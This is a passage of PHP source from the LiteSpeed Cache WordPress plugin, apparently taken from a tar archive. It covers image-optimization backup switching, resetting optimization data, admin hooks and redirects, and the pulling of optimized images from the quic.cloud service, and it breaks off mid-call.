WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $to_be_continued = $wpdb->get_row( $wpdb->prepare( $img_q, [ $offset * $limit, 1 ] ) ); if ( $to_be_continued ) { return $offset; } return 'done'; } /** * Switch backup file between original and optimized * * @since 1.6.2 * @access private * @param array $meta_value The meta value array containing file info. * @param bool $is_ori_file Whether this is the original file. */ private function _switch_bk_file( $meta_value, $is_ori_file = false ) { $short_file_path = $meta_value['file']; if ( ! $is_ori_file ) { $short_file_path = $this->tmp_path . $short_file_path; } $extension = pathinfo( $short_file_path, PATHINFO_EXTENSION ); $local_filename = substr( $short_file_path, 0, -strlen( $extension ) - 1 ); $bk_file = $local_filename . '.bk.' . $extension; $bk_optm_file = $local_filename . '.bk.optm.' . $extension; // self::debug('_switch_bk_file ' . $bk_file . ' [type] ' . $this->tmp_type); // switch to ori if ( self::TYPE_BATCH_SWITCH_ORI === $this->tmp_type || 'orig' === $this->tmp_type ) { // self::debug('switch to orig ' . $bk_file); if ( ! $this->__media->info( $bk_file, $this->tmp_pid ) ) { return; } $this->__media->rename( $local_filename . '.' . $extension, $bk_optm_file, $this->tmp_pid ); $this->__media->rename( $bk_file, $local_filename . '.' . $extension, $this->tmp_pid ); } elseif ( self::TYPE_BATCH_SWITCH_OPTM === $this->tmp_type || 'optm' === $this->tmp_type ) { // switch to optm // self::debug('switch to optm ' . $bk_file); if ( ! $this->__media->info( $bk_optm_file, $this->tmp_pid ) ) { return; } $this->__media->rename( $local_filename . '.' . $extension, $bk_file, $this->tmp_pid ); $this->__media->rename( $bk_optm_file, $local_filename . '.' . $extension, $this->tmp_pid ); } } /** * Switch image between original one and optimized one * * @since 1.6.2 * @access private * @param string $type The switch type (webpXXX, avifXXX, or origXXX where XXX is the post ID). */ private function _switch_optm_file( $type ) { Admin_Display::success( __( 'Switched to optimized file successfully.', 'litespeed-cache' ) ); return; // phpcs:disable Squiz.PHP.NonExecutableCode global $wpdb; $pid = substr( $type, 4 ); $switch_type = substr( $type, 0, 4 ); $q = "SELECT src,post_id FROM `$this->_table_img_optm` WHERE post_id = %d AND optm_status = %d"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $list = $wpdb->get_results( $wpdb->prepare( $q, [ $pid, self::STATUS_PULLED ] ) ); $msg = 'Unknown Msg'; foreach ( $list as $v ) { // to switch webp file if ( 'webp' === $switch_type ) { if ( $this->__media->info( $v->src . '.webp', $v->post_id ) ) { $this->__media->rename( $v->src . '.webp', $v->src . '.optm.webp', $v->post_id ); self::debug( 'Disabled WebP: ' . $v->src ); $msg = __( 'Disabled WebP file successfully.', 'litespeed-cache' ); } elseif ( $this->__media->info( $v->src . '.optm.webp', $v->post_id ) ) { $this->__media->rename( $v->src . '.optm.webp', $v->src . '.webp', $v->post_id ); self::debug( 'Enable WebP: ' . $v->src ); $msg = __( 'Enabled WebP file successfully.', 'litespeed-cache' ); } } elseif ( 'avif' === $switch_type ) { // to switch avif file if ( $this->__media->info( $v->src . '.avif', $v->post_id ) ) { $this->__media->rename( $v->src . '.avif', $v->src . '.optm.avif', $v->post_id ); self::debug( 'Disabled AVIF: ' . $v->src ); $msg = __( 'Disabled AVIF file successfully.', 'litespeed-cache' ); } elseif ( $this->__media->info( $v->src . '.optm.avif', $v->post_id ) ) { $this->__media->rename( $v->src . '.optm.avif', $v->src . '.avif', $v->post_id ); self::debug( 'Enable AVIF: ' . $v->src ); $msg = __( 'Enabled AVIF file successfully.', 'litespeed-cache' ); } } else { // to switch original file $extension = pathinfo( $v->src, PATHINFO_EXTENSION ); $local_filename = substr( $v->src, 0, -strlen( $extension ) - 1 ); $bk_file = $local_filename . '.bk.' . $extension; $bk_optm_file = $local_filename . '.bk.optm.' . $extension; // revert ori back if ( $this->__media->info( $bk_file, $v->post_id ) ) { $this->__media->rename( $v->src, $bk_optm_file, $v->post_id ); $this->__media->rename( $bk_file, $v->src, $v->post_id ); self::debug( 'Restore original img: ' . $bk_file ); $msg = __( 'Restored original file successfully.', 'litespeed-cache' ); } elseif ( $this->__media->info( $bk_optm_file, $v->post_id ) ) { $this->__media->rename( $v->src, $bk_file, $v->post_id ); $this->__media->rename( $bk_optm_file, $v->src, $v->post_id ); self::debug( 'Switch to optm img: ' . $v->src ); $msg = __( 'Switched to optimized file successfully.', 'litespeed-cache' ); } } } Admin_Display::success( $msg ); // phpcs:enable Squiz.PHP.NonExecutableCode } /** * Delete one optm data and recover original file * * @since 2.4.2 * @access public * @param int $post_id The post ID to reset. * @param bool $silent Whether to suppress success message. Default false. */ public function reset_row( $post_id, $silent = false ) { global $wpdb; if ( ! $post_id ) { return; } self::debug( '_reset_row [pid] ' . $post_id ); // TODO: Load image sub files $img_q = "SELECT b.post_id, b.meta_value FROM `$wpdb->postmeta` b WHERE b.post_id =%d AND b.meta_key = '_wp_attachment_metadata'"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $q = $wpdb->prepare( $img_q, [ $post_id ] ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $v = $wpdb->get_row( $q ); $meta_value = $this->_parse_wp_meta_value( $v ); if ( $meta_value ) { $this->tmp_pid = $v->post_id; $this->tmp_path = pathinfo( $meta_value['file'], PATHINFO_DIRNAME ) . '/'; $this->_destroy_optm_file( $meta_value, true ); if ( ! empty( $meta_value['sizes'] ) ) { array_map( [ $this, '_destroy_optm_file' ], $meta_value['sizes'] ); } } delete_post_meta( $post_id, self::DB_SIZE ); delete_post_meta( $post_id, self::DB_SET ); // Delete records from img_optm and img_optming tables if ( $this->__data->tb_exist( 'img_optm' ) ) { // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared $wpdb->query( $wpdb->prepare( "DELETE FROM `$this->_table_img_optm` WHERE post_id = %d", $post_id ) ); } if ( $this->__data->tb_exist( 'img_optming' ) ) { // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared $wpdb->query( $wpdb->prepare( "DELETE FROM `$this->_table_img_optming` WHERE post_id = %d", $post_id ) ); } if ( ! $silent ) { $msg = __( 'Reset the optimized data successfully.', 'litespeed-cache' ); Admin_Display::success( $msg ); } } /** * Show an image's optm status * * @since 1.6.5 * @access public * @return array Response data with image info. */ public function check_img() { global $wpdb; // phpcs:ignore WordPress.Security.NonceVerification.Missing $pid = isset( $_POST['data'] ) ? absint( wp_unslash( $_POST['data'] ) ) : 0; self::debug( 'Check image [ID] ' . $pid ); $data = []; $data['img_count'] = $this->img_count(); $data['optm_summary'] = self::get_summary(); $data['_wp_attached_file'] = get_post_meta( $pid, '_wp_attached_file', true ); $data['_wp_attachment_metadata'] = get_post_meta( $pid, '_wp_attachment_metadata', true ); // Get img_optm data $q = "SELECT * FROM `$this->_table_img_optm` WHERE post_id = %d"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $list = $wpdb->get_results( $wpdb->prepare( $q, $pid ) ); $img_data = []; if ( $list ) { foreach ( $list as $v ) { $img_data[] = [ 'id' => $v->id, 'optm_status' => $v->optm_status, 'src' => $v->src, 'srcpath_md5' => $v->srcpath_md5, 'src_md5' => $v->src_md5, 'server_info' => $v->server_info, ]; } } $data['img_data'] = $img_data; return [ '_res' => 'ok', 'data' => $data, ]; } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/admin.cls.php�����������������������������������������������������������0000644�����������������00000014204�15233526476�0014432 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The admin-panel specific functionality of the plugin. * * @since 1.0.0 * @package LiteSpeed_Cache */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Class Admin * * Wires admin-side hooks, actions, and safe redirects. */ class Admin extends Root { const LOG_TAG = '👮'; const PAGE_EDIT_HTACCESS = 'litespeed-edit-htaccess'; /** * Initialize the class and set its properties. * Runs in hook `after_setup_theme` when is_admin(). * * @since 1.0.0 */ public function __construct() { // Define LSCWP_MU_PLUGIN if in mu-plugins. if ( defined( 'WPMU_PLUGIN_DIR' ) && dirname( LSCWP_DIR ) === WPMU_PLUGIN_DIR && ! defined( 'LSCWP_MU_PLUGIN' ) ) { define( 'LSCWP_MU_PLUGIN', true ); } self::debug( 'No cache due to Admin page' ); if ( ! defined( 'DONOTCACHEPAGE' ) ) { define( 'DONOTCACHEPAGE', true ); } // Additional LiteSpeed assets on admin display (also registers menus). $this->cls( 'Admin_Display' ); // Initialize admin actions. add_action( 'admin_init', [ $this, 'admin_init' ] ); // Add link to plugin list page. add_filter( 'plugin_action_links_' . LSCWP_BASENAME, [ $this->cls( 'Admin_Display' ), 'add_plugin_links' ] ); } /** * Callback that initializes the admin options for LiteSpeed Cache. * * @since 1.0.0 * @return void */ public function admin_init() { // Hook to reset optimization data when image is replaced. add_filter( 'wp_generate_attachment_metadata', [ $this, 'wp_generate_attachment_metadata' ], 10, 3 ); // Hook attachment upload auto optimization. if ( $this->conf( Base::O_IMG_OPTM_AUTO ) ) { add_filter( 'wp_update_attachment_metadata', [ $this, 'wp_update_attachment_metadata' ], 9999, 2 ); } $this->_proceed_admin_action(); // Terminate if user doesn't have access to settings. $capability = is_network_admin() ? 'manage_network_options' : 'manage_options'; if ( ! current_user_can( $capability ) ) { return; } // Add privacy policy (since 2.2.6). if ( function_exists( 'wp_add_privacy_policy_content' ) ) { wp_add_privacy_policy_content( Core::NAME, Doc::privacy_policy() ); } $this->cls( 'Media' )->after_admin_init(); do_action( 'litespeed_after_admin_init' ); if ( $this->cls( 'Router' )->esi_enabled() ) { add_action( 'in_widget_form', [ $this->cls( 'Admin_Display' ), 'show_widget_edit' ], 100, 3 ); add_filter( 'widget_update_callback', __NAMESPACE__ . '\Admin_Settings::validate_widget_save', 10, 4 ); } } /** * Handle attachment metadata generation. * Reset optimization data if this is a replaced image (has existing optimization records). * * @since 7.8 * * @param array $metadata Attachment metadata. * @param int $attachment_id Attachment ID. * @param string $context Context: 'create' or 'update'. * @return array Filtered metadata. */ public function wp_generate_attachment_metadata( $metadata, $attachment_id, $context = 'create' ) { // Only process on 'create' context (replacement also uses 'create') if ( 'create' !== $context ) { return $metadata; } $img_optm = $this->cls( 'Img_Optm' ); // Check if has existing optimization records, if so it's a replacement if ( $img_optm->has_optm_record( $attachment_id, $metadata ) ) { self::debug( 'Image replaced, resetting optimization data [pid] ' . $attachment_id ); $img_optm->reset_row( $attachment_id, true ); } return $metadata; } /** * Handle attachment metadata update. * * @since 4.0 * * @param array $data Attachment meta. * @param int $post_id Attachment ID. * @return array Filtered meta. */ public function wp_update_attachment_metadata( $data, $post_id ) { $this->cls( 'Img_Optm' )->wp_update_attachment_metadata( $data, $post_id ); return $data; } /** * Run LiteSpeed admin actions routed via Router. * * @since 1.1.0 * @return void */ private function _proceed_admin_action() { $action = Router::get_action(); switch ( $action ) { case Router::ACTION_SAVE_SETTINGS: $this->cls( 'Admin_Settings' )->save( wp_unslash( $_POST ) ); // phpcs:ignore WordPress.Security.NonceVerification.Missing break; case Router::ACTION_SAVE_SETTINGS_NETWORK: $this->cls( 'Admin_Settings' )->network_save( wp_unslash( $_POST ) ); // phpcs:ignore WordPress.Security.NonceVerification.Missing break; default: break; } } /** * Clean up the input (array or scalar) of any extra slashes/spaces. * * @since 1.0.4 * * @param mixed $input The input value to clean. * @return mixed Cleaned value. */ public static function cleanup_text( $input ) { if ( is_array( $input ) ) { return array_map( __CLASS__ . '::cleanup_text', $input ); } return stripslashes(trim($input)); } /** * After a LSCWP_CTRL action, redirect back to same page * without nonce and action in the query string. * * If the redirect URL cannot be determined, redirects to the homepage. * * @since 1.0.12 * * @param string|false $url Optional destination URL. * @return void */ public static function redirect( $url = false ) { global $pagenow; // If originated, go back to referrer or home. if ( ! empty( $_GET['_litespeed_ori'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended $ref = wp_get_referer(); wp_safe_redirect( $ref ? $ref : get_home_url() ); exit; } if ( ! $url ) { $clean = []; // Sanitize current query args while removing our internals. if ( ! empty( $_GET ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended foreach ( $_GET as $k => $v ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended if ( in_array( $k, [ Router::ACTION, Router::NONCE, Router::TYPE, 'litespeed_i', 'litespeed_tb' ], true ) ) { continue; } // Normalize to string for URL building. $clean[ $k ] = is_array( $v ) ? array_map( 'sanitize_text_field', wp_unslash( $v ) ) : sanitize_text_field( wp_unslash( $v ) ); } } $qs = ''; if ( ! empty( $clean ) ) { $qs = '?' . http_build_query( $clean ); } $url = is_network_admin() ? network_admin_url( $pagenow . $qs ) : admin_url( $pagenow . $qs ); } wp_safe_redirect( $url ); exit; } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/img-optm-pull.trait.php�������������������������������������������������0000644�����������������00000054150�15233526476�0016413 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Image optimization pull trait * * @package LiteSpeed * @since 7.8 */ namespace LiteSpeed; use WpOrg\Requests\Autoload; use WpOrg\Requests\Requests; defined( 'WPINC' ) || exit(); /** * Trait Img_Optm_Pull * * Handles image optimization pull and notification. */ trait Img_Optm_Pull { /** * Cloud server notify Client img status changed * * @access public * @return array Response array. */ public function notify_img() { // Interval validation to avoid hacking domain_key if ( ! empty( $this->_summary['notify_ts_err'] ) && time() - $this->_summary['notify_ts_err'] < 3 ) { return Cloud::err( 'too_often' ); } $post_data = \json_decode( file_get_contents( 'php://input' ), true ); if ( is_null( $post_data ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing $post_data = $_POST; } global $wpdb; $notified_data = $post_data['data']; if ( empty( $notified_data ) || ! is_array( $notified_data ) ) { self::debug( '❌ notify exit: no notified data' ); return Cloud::err( 'no notified data' ); } if ( empty( $post_data['server'] ) || ( substr( $post_data['server'], -11 ) !== '.quic.cloud' && substr( $post_data['server'], -15 ) !== '.quicserver.com' ) ) { self::debug( 'notify exit: no/wrong server' ); return Cloud::err( 'no/wrong server' ); } if ( empty( $post_data['status'] ) ) { self::debug( 'notify missing status' ); return Cloud::err( 'no status' ); } $status = $post_data['status']; self::debug( 'notified status=' . $status ); $last_log_pid = 0; if ( empty( $this->_summary['reduced'] ) ) { $this->_summary['reduced'] = 0; } if ( self::STATUS_NOTIFIED === $status ) { // Notified data format: [ img_optm_id => [ id=>, src_size=>, ori=>, ori_md5=>, ori_reduced=>, webp=>, webp_md5=>, webp_reduced=> ] ] $q = "SELECT a.*, b.meta_id as b_meta_id, b.meta_value AS b_optm_info FROM `$this->_table_img_optming` a LEFT JOIN `$wpdb->postmeta` b ON b.post_id = a.post_id AND b.meta_key = %s WHERE a.id IN ( " . implode( ',', array_fill( 0, count( $notified_data ), '%d' ) ) . ' )'; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $list = $wpdb->get_results( $wpdb->prepare( $q, array_merge( [ self::DB_SIZE ], array_keys( $notified_data ) ) ) ); $ls_optm_size_row_exists_postids = []; foreach ( $list as $v ) { $json = $notified_data[ $v->id ]; // self::debug('Notified data for [id] ' . $v->id, $json); $server = ! empty( $json['server'] ) ? $json['server'] : $post_data['server']; $server_info = [ 'server' => $server, ]; // Save server side ID to send taken notification after pulled $server_info['id'] = $json['id']; if ( ! empty( $json['file_id'] ) ) { $server_info['file_id'] = $json['file_id']; } // Optm info array $postmeta_info = [ 'ori_total' => 0, 'ori_saved' => 0, 'webp_total' => 0, 'webp_saved' => 0, 'avif_total' => 0, 'avif_saved' => 0, ]; // Init postmeta_info for the first one if ( ! empty( $v->b_meta_id ) ) { foreach ( maybe_unserialize( $v->b_optm_info ) as $k2 => $v2 ) { $postmeta_info[ $k2 ] += $v2; } } if ( ! empty( $json['ori'] ) ) { $server_info['ori_md5'] = $json['ori_md5']; $server_info['ori'] = $json['ori']; // Append meta info $postmeta_info['ori_total'] += $json['src_size']; $postmeta_info['ori_saved'] += $json['ori_reduced']; // optimized image size info in img_optm tb will be updated when pull $this->_summary['reduced'] += $json['ori_reduced']; } if ( ! empty( $json['webp'] ) ) { $server_info['webp_md5'] = $json['webp_md5']; $server_info['webp'] = $json['webp']; // Append meta info $postmeta_info['webp_total'] += $json['src_size']; $postmeta_info['webp_saved'] += $json['webp_reduced']; $this->_summary['reduced'] += $json['webp_reduced']; } if ( ! empty( $json['avif'] ) ) { $server_info['avif_md5'] = $json['avif_md5']; $server_info['avif'] = $json['avif']; // Append meta info $postmeta_info['avif_total'] += $json['src_size']; $postmeta_info['avif_saved'] += $json['avif_reduced']; $this->_summary['reduced'] += $json['avif_reduced']; } // Update status and data in working table $q = "UPDATE `$this->_table_img_optming` SET optm_status = %d, server_info = %s WHERE id = %d "; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->query( $wpdb->prepare( $q, [ $status, wp_json_encode( $server_info ), $v->id ] ) ); // Update postmeta for optm summary // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.serialize_serialize $postmeta_info = serialize( $postmeta_info ); if ( empty( $v->b_meta_id ) && ! in_array( $v->post_id, $ls_optm_size_row_exists_postids, true ) ) { self::debug( 'New size info [pid] ' . $v->post_id ); $q = "INSERT INTO `$wpdb->postmeta` ( post_id, meta_key, meta_value ) VALUES ( %d, %s, %s )"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->query( $wpdb->prepare( $q, [ $v->post_id, self::DB_SIZE, $postmeta_info ] ) ); $ls_optm_size_row_exists_postids[] = $v->post_id; } else { $q = "UPDATE `$wpdb->postmeta` SET meta_value = %s WHERE meta_id = %d "; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->query( $wpdb->prepare( $q, [ $postmeta_info, $v->b_meta_id ] ) ); } // write log $pid_log = $last_log_pid === $v->post_id ? '.' : $v->post_id; self::debug( 'notify_img [status] ' . $status . " \t\t[pid] " . $pid_log . " \t\t[id] " . $v->id ); $last_log_pid = $v->post_id; } self::save_summary(); // Mark need_pull tag for cron self::update_option( self::DB_NEED_PULL, self::STATUS_NOTIFIED ); } else { // Other errors will directly remove the working records // Delete from working table $q = "DELETE FROM `$this->_table_img_optming` WHERE id IN ( " . implode( ',', array_fill( 0, count( $notified_data ), '%d' ) ) . ' ) '; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->query( $wpdb->prepare( $q, $notified_data ) ); } return Cloud::ok( [ 'count' => count( $notified_data ) ] ); } /** * Cron start async req * * @since 5.5 */ public static function start_async_cron() { Task::async_call( 'imgoptm' ); } /** * Manually start async req * * @since 5.5 */ public static function start_async() { Task::async_call( 'imgoptm_force' ); $msg = __( 'Started async image optimization request', 'litespeed-cache' ); Admin_Display::success( $msg ); } /** * Check if need to pull or not * * @since 7.2 * @return bool True if need to pull. */ public static function need_pull() { $tag = (int) self::get_option( self::DB_NEED_PULL ); if ( ! $tag || self::STATUS_NOTIFIED !== $tag ) { return false; } return true; } /** * Ajax req handler * * @since 5.5 * @param bool $force Whether to force pull. */ public static function async_handler( $force = false ) { self::debug( '------------async-------------start_async_handler' ); if ( ! self::need_pull() ) { self::debug( '❌ no need pull' ); return; } if ( defined( 'LITESPEED_IMG_OPTM_PULL_CRON' ) && ! constant( 'LITESPEED_IMG_OPTM_PULL_CRON' ) ) { self::debug( 'Cron disabled [define] LITESPEED_IMG_OPTM_PULL_CRON' ); return; } self::cls()->pull( $force ); } /** * Calculate pull threads * * @since 5.8 * @access private * @return int Number of images per request. */ private function _calc_pull_threads() { global $wpdb; if ( defined( 'LITESPEED_IMG_OPTM_PULL_THREADS' ) ) { return constant( 'LITESPEED_IMG_OPTM_PULL_THREADS' ); } // Tune number of images per request based on number of images waiting and cloud packages $imgs_per_req = 1; // base 1, ramp up to ~50 max // Ramp up the request rate based on how many images are waiting $c = "SELECT count(id) FROM `$this->_table_img_optming` WHERE optm_status = %d"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $_c = $wpdb->prepare( $c, [ self::STATUS_NOTIFIED ] ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $images_waiting = $wpdb->get_var( $_c ); if ( $images_waiting && $images_waiting > 0 ) { $imgs_per_req = ceil( $images_waiting / 1000 ); // ie. download 5/request if 5000 images are waiting } // Cap the request rate at 50 images per request $imgs_per_req = min( 50, $imgs_per_req ); self::debug( 'Pulling images at rate: ' . $imgs_per_req . ' Images per request.' ); return $imgs_per_req; } /** * Pull optimized img * * @since 1.6 * @access public * @param bool $manual Whether this is a manual pull. */ public function pull( $manual = false ) { global $wpdb; $timeout_limit = ini_get( 'max_execution_time' ); $endts = time() + $timeout_limit; self::debug( '' . ( $manual ? 'Manually' : 'Cron' ) . ' pull started [timeout: ' . $timeout_limit . 's]' ); if ( $this->cron_running() ) { self::debug( 'Pull cron is running' ); $msg = __( 'Pull Cron is running', 'litespeed-cache' ); Admin_Display::note( $msg ); return; } $this->_summary['last_pulled'] = time(); $this->_summary['last_pulled_by_cron'] = ! $manual; self::save_summary(); $imgs_per_req = $this->_calc_pull_threads(); $q = "SELECT * FROM `$this->_table_img_optming` WHERE optm_status = %d ORDER BY id LIMIT %d"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $_q = $wpdb->prepare( $q, [ self::STATUS_NOTIFIED, $imgs_per_req ] ); $rm_ori_bkup = $this->conf( self::O_IMG_OPTM_RM_BKUP ); $total_pulled_ori = 0; $total_pulled_webp = 0; $total_pulled_avif = 0; $server_list = []; try { // phpcs:ignore Generic.CodeAnalysis.AssignmentInCondition.FoundInWhileCondition, WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared while ( $img_rows = $wpdb->get_results( $_q ) ) { self::debug( 'timeout left: ' . ( $endts - time() ) . 's' ); if ( function_exists( 'set_time_limit' ) ) { $endts += 600; self::debug( 'Endtime extended to ' . gmdate( 'Ymd H:i:s', $endts ) ); set_time_limit( 600 ); // This will be no more important as we use noabort now } // Disabled as we use noabort // if ($endts - time() < 10) { // self::debug("🚨 End loop due to timeout limit reached " . $timeout_limit . "s"); // break; // } /** * Update cron timestamp to avoid duplicated running * * @since 1.6.2 */ $this->_update_cron_running(); // Run requests in parallel $requests = []; // store each request URL for Requests::request_multiple() $imgs_by_req = []; // store original request data so that we can reference it in the response $req_counter = 0; foreach ( $img_rows as $row_img ) { // request original image $server_info = \json_decode( $row_img->server_info, true ); if ( ! empty( $server_info['ori'] ) ) { $image_url = $server_info['server'] . '/' . $server_info['ori']; self::debug( 'Queueing pull: ' . $image_url ); $requests[ $req_counter ] = [ 'url' => $image_url, 'type' => 'GET', ]; $imgs_by_req[ $req_counter++ ] = [ 'type' => 'ori', 'data' => $row_img, ]; } // request webp image $webp_size = 0; if ( ! empty( $server_info['webp'] ) ) { $image_url = $server_info['server'] . '/' . $server_info['webp']; self::debug( 'Queueing pull WebP: ' . $image_url ); $requests[ $req_counter ] = [ 'url' => $image_url, 'type' => 'GET', ]; $imgs_by_req[ $req_counter++ ] = [ 'type' => 'webp', 'data' => $row_img, ]; } // request avif image $avif_size = 0; if ( ! empty( $server_info['avif'] ) ) { $image_url = $server_info['server'] . '/' . $server_info['avif']; self::debug( 'Queueing pull AVIF: ' . $image_url ); $requests[ $req_counter ] = [ 'url' => $image_url, 'type' => 'GET', ]; $imgs_by_req[ $req_counter++ ] = [ 'type' => 'avif', 'data' => $row_img, ]; } } self::debug( 'Loaded images count: ' . $req_counter ); $complete_action = function ( $response, $req_count ) use ( $imgs_by_req, $rm_ori_bkup, &$total_pulled_ori, &$total_pulled_webp, &$total_pulled_avif, &$server_list ) { global $wpdb; $row_data = isset( $imgs_by_req[ $req_count ] ) ? $imgs_by_req[ $req_count ] : false; if ( false === $row_data ) { self::debug( '❌ failed to pull image: Request not found in lookup variable.' ); return; } $row_type = isset( $row_data['type'] ) ? $row_data['type'] : 'ori'; $row_img = $row_data['data']; $local_file = $this->wp_upload_dir['basedir'] . '/' . $row_img->src; $server_info = \json_decode( $row_img->server_info, true ); // Handle status_code 404/5xx too as its success=true if ( empty( $response->success ) || empty( $response->status_code ) || 200 !== $response->status_code ) { self::debug( '❌ Failed to pull optimized img: HTTP error [status_code] ' . ( empty( $response->status_code ) ? 'N/A' : $response->status_code ) ); $this->_step_back_image( $row_img->id ); $msg = __( 'Some optimized image file(s) has expired and was cleared.', 'litespeed-cache' ); Admin_Display::error( $msg ); return; } if ( 'webp' === $row_type ) { // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_file_put_contents file_put_contents( $local_file . '.webp', $response->body ); if ( ! file_exists( $local_file . '.webp' ) || ! filesize( $local_file . '.webp' ) || md5_file( $local_file . '.webp' ) !== $server_info['webp_md5'] ) { self::debug( '❌ Failed to pull optimized webp img: file md5 mismatch, server md5: ' . $server_info['webp_md5'] ); // Delete working table $q = "DELETE FROM `$this->_table_img_optming` WHERE id = %d "; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->query( $wpdb->prepare( $q, $row_img->id ) ); $msg = __( 'Pulled WebP image md5 does not match the notified WebP image md5.', 'litespeed-cache' ); Admin_Display::error( $msg ); return; } self::debug( 'Pulled optimized img WebP: ' . $local_file . '.webp' ); $webp_size = filesize( $local_file . '.webp' ); /** * API for WebP * * @since 2.9.5 * @since 3.0 $row_img less elements (see above one) * @see #751737 - API docs for WEBP generation */ do_action( 'litespeed_img_pull_webp', $row_img, $local_file . '.webp' ); ++$total_pulled_webp; } elseif ( 'avif' === $row_type ) { // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_file_put_contents file_put_contents( $local_file . '.avif', $response->body ); if ( ! file_exists( $local_file . '.avif' ) || ! filesize( $local_file . '.avif' ) || md5_file( $local_file . '.avif' ) !== $server_info['avif_md5'] ) { self::debug( '❌ Failed to pull optimized avif img: file md5 mismatch, server md5: ' . $server_info['avif_md5'] ); // Delete working table $q = "DELETE FROM `$this->_table_img_optming` WHERE id = %d "; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->query( $wpdb->prepare( $q, $row_img->id ) ); $msg = __( 'Pulled AVIF image md5 does not match the notified AVIF image md5.', 'litespeed-cache' ); Admin_Display::error( $msg ); return; } self::debug( 'Pulled optimized img AVIF: ' . $local_file . '.avif' ); $avif_size = filesize( $local_file . '.avif' ); /** * API for AVIF * * @since 7.0 */ do_action( 'litespeed_img_pull_avif', $row_img, $local_file . '.avif' ); ++$total_pulled_avif; } else { // "ori" image type // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_file_put_contents file_put_contents( $local_file . '.tmp', $response->body ); if ( ! file_exists( $local_file . '.tmp' ) || ! filesize( $local_file . '.tmp' ) || md5_file( $local_file . '.tmp' ) !== $server_info['ori_md5'] ) { self::debug( '❌ Failed to pull optimized img: file md5 mismatch [url] ' . $server_info['server'] . '/' . $server_info['ori'] . ' [server_md5] ' . $server_info['ori_md5'] ); // Delete working table $q = "DELETE FROM `$this->_table_img_optming` WHERE id = %d "; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->query( $wpdb->prepare( $q, $row_img->id ) ); $msg = __( 'One or more pulled images does not match with the notified image md5', 'litespeed-cache' ); Admin_Display::error( $msg ); return; } // Backup ori img if ( ! $rm_ori_bkup ) { $extension = pathinfo( $local_file, PATHINFO_EXTENSION ); $bk_file = substr( $local_file, 0, -strlen( $extension ) ) . 'bk.' . $extension; // phpcs:ignore WordPress.WP.AlternativeFunctions.rename_rename file_exists( $local_file ) && rename( $local_file, $bk_file ); } // Replace ori img // phpcs:ignore WordPress.WP.AlternativeFunctions.rename_rename rename( $local_file . '.tmp', $local_file ); self::debug( 'Pulled optimized img: ' . $local_file ); /** * API Hook * * @since 2.9.5 * @since 3.0 $row_img has less elements now. Most useful ones are `post_id`/`src` */ do_action( 'litespeed_img_pull_ori', $row_img, $local_file ); self::debug2( 'Remove _table_img_optming record [id] ' . $row_img->id ); } // Delete working table $q = "DELETE FROM `$this->_table_img_optming` WHERE id = %d "; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->query( $wpdb->prepare( $q, $row_img->id ) ); // Save server_list to notify taken if ( empty( $server_list[ $server_info['server'] ] ) ) { $server_list[ $server_info['server'] ] = []; } $server_info_id = ! empty( $server_info['file_id'] ) ? $server_info['file_id'] : $server_info['id']; $server_list[ $server_info['server'] ][] = $server_info_id; ++$total_pulled_ori; }; $force_wp_remote_get = defined( 'LITESPEED_FORCE_WP_REMOTE_GET' ) && constant( 'LITESPEED_FORCE_WP_REMOTE_GET' ); if ( ! $force_wp_remote_get && class_exists( '\WpOrg\Requests\Requests' ) && class_exists( '\WpOrg\Requests\Autoload' ) ) { // Make sure Requests can load internal classes. Autoload::register(); // Run pull requests in parallel Requests::request_multiple( $requests, [ 'timeout' => 60, 'connect_timeout' => 60, 